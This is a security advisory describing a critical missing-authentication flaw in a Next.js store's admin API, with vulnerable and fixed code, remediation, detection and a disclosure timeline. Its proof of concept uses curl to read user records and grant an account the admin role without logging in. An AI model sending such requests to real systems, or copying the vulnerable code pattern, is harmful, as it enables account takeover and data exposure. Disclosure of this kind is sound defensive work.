- ID
- WM-2026-001
- Severity
- Critical CVSS 3.1 base 9.1
- Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Class
- Broken access control · CWE-862 Missing Authorization, CWE-306 Missing Authentication for Critical Function
- Component
- store.plankdesigns.co, Next.js 14 (App Router), middleware.ts and /api/admin route handlers
- Status
- Fixed, published after the fix
- Published
- 2026-10-04
Executive summary
Authentication for the admin area is enforced only in Next.js middleware, and the middleware matcher covers the admin pages but not the admin API route handlers. Anyone on the internet can list, read and modify user accounts, including granting themselves the admin role, without logging in.
Impact
- Unauthenticated read of every user record (names, emails, roles).
- Unauthenticated write: any account can be promoted to
adminor disabled, which gives full control of the application. - No credentials, user interaction or special position are required, and the requests look like ordinary traffic.
Technical details
root causeThe application protects /admin with middleware.ts. Unauthenticated requests to /admin/users are redirected to the login page, which suggests the area is protected. The matcher, however, lists only the page path:
// middleware.ts (vulnerable)
import { NextResponse } from "next/server";
export function middleware(req) {
if (!req.cookies.get("session")) {
return NextResponse.redirect(new URL("/login", req.url));
}
return NextResponse.next();
}
export const config = {
matcher: ["/admin/:path*"], // /api/admin/* is never matched
};The route handlers under app/api/admin/ were written on the assumption that middleware had already authenticated the caller, so they perform no check of their own:
// app/api/admin/users/[id]/route.ts (vulnerable)
export async function PATCH(req, { params }) {
const body = await req.json();
await db.user.update({ where: { id: params.id }, data: body });
return Response.json({ ok: true });
}The request path never matches the matcher, so the middleware does not run and nothing else stands between the caller and the database. The handler also passes the whole request body to the update, which lets the caller set any column, including role.
Proof of concept
minimal, no real dataReproduced against a local copy of the application with no session cookie. Documentation addresses and placeholder data only.
# the page is protected
$ curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" https://store.plankdesigns.co/admin/users
307 https://store.plankdesigns.co/login
# the API behind it is not
$ curl -s https://store.plankdesigns.co/api/admin/users
[{"id":"1","email":"user1@example.com","role":"admin"}, ...]
$ curl -s -X PATCH https://store.plankdesigns.co/api/admin/users/42 \
-H 'content-type: application/json' -d '{"role":"admin"}'
{"ok":true}Only the user list and a single role change were tested, on a test account created for the purpose. No other data was accessed.
Remediation
Authorisation belongs next to the data, not only in front of the route. Check the session inside every handler, or in one shared data-access function that every handler must call, and treat middleware as a convenience layer.
// app/api/admin/users/[id]/route.ts (fixed)
import { requireAdmin } from "@/lib/auth"; // verifies session AND role server-side
export async function PATCH(req, { params }) {
await requireAdmin(req); // throws 401/403
const { role, disabled } = schema.parse(await req.json()); // allow-list fields
await db.user.update({ where: { id: params.id }, data: { role, disabled } });
return Response.json({ ok: true });
}- Add
/api/admin/:path*to the matcher as defence in depth, but do not rely on it. - Validate request bodies against an explicit schema so a client cannot set fields such as
rolethrough mass assignment. - Add a test that requests every route in
app/api/adminwithout a session and expects 401. - Review the access log for requests to
/api/adminwithout a session cookie during the exposure period.
Detection
Alert on 2xx responses to /api/admin/* with no session cookie, and on role changes not preceded by an admin session.
Disclosure timeline
days from report- d0
- Report sent to the vendor security contact
- d1
- Acknowledged
- d6
- Fix confirmed in a staging build and retested
- d9
- Fix deployed to production
- d90
- Public disclosure window (published after the fix)
References
Tags
#web#nextjs#authentication#access-control